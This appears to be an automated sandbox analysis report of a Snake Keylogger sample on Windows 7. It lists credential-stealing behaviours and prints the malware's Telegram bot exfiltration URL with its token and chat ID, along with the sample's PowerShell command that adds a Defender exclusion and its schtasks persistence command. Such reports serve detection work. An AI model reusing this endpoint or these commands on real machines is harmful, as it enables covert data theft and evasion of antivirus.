Analysis
- max time kernel
136s - max time network
119s - platform
windows7_x64 - resource
win7-20220718-en - resource tags
- submitted
01/08/2022, 07:48
General
- Target SecuriteInfo.com.W32.AIDetectNet.01.24069.exe
- Size 606KB
- Sample220801-jm45vsfccp
- SHA256 fab9b1f85614f437c8badd9fa07890a1925451dfb9f94b3bfe10ec2593685f4b
Malware Config
Extracted
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snakekeylogger
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https://api.telegram.org/bot5512920043:AAEdgq7nYJfciYEk1tzIjkS1jb_4SwuDhOk/sendMessage?chat_id=1470287136
Signatures
- Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
- Snake Keylogger payload 6 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 25 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetectNet.01.24069.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetectNet.01.24069.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\vgeuZpODs.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vgeuZpODs" /XML "C:\Users\Admin\AppData\Local\Temp\tmp16BD.tmp"2⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetectNet.01.24069.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetectNet.01.24069.exe"2⤵
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetectNet.01.24069.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetectNet.01.24069.exe"2⤵
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetectNet.01.24069.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetectNet.01.24069.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
tmp16BD.tmp
memory/1440-65-0x0000000000400000-0x0000000000426000-memory.dmp
memory/1440-76-0x0000000000400000-0x0000000000426000-memory.dmp
memory/1440-74-0x0000000000400000-0x0000000000426000-memory.dmp
memory/1440-71-0x0000000000400000-0x0000000000426000-memory.dmp
memory/1440-70-0x0000000000400000-0x0000000000426000-memory.dmp
memory/1440-68-0x0000000000400000-0x0000000000426000-memory.dmp
memory/1440-66-0x0000000000400000-0x0000000000426000-memory.dmp
memory/1724-63-0x000000006E460000-0x000000006EA0B000-memory.dmp
memory/1724-78-0x000000006E460000-0x000000006EA0B000-memory.dmp
memory/1764-64-0x0000000004D10000-0x0000000004D36000-memory.dmp
memory/1764-54-0x0000000001130000-0x00000000011CC000-memory.dmp
memory/1764-58-0x0000000005060000-0x00000000050D4000-memory.dmp
memory/1764-57-0x00000000006C0000-0x00000000006CA000-memory.dmp
memory/1764-56-0x0000000000490000-0x00000000004A6000-memory.dmp
memory/1764-55-0x00000000757E1000-0x00000000757E3000-memory.dmp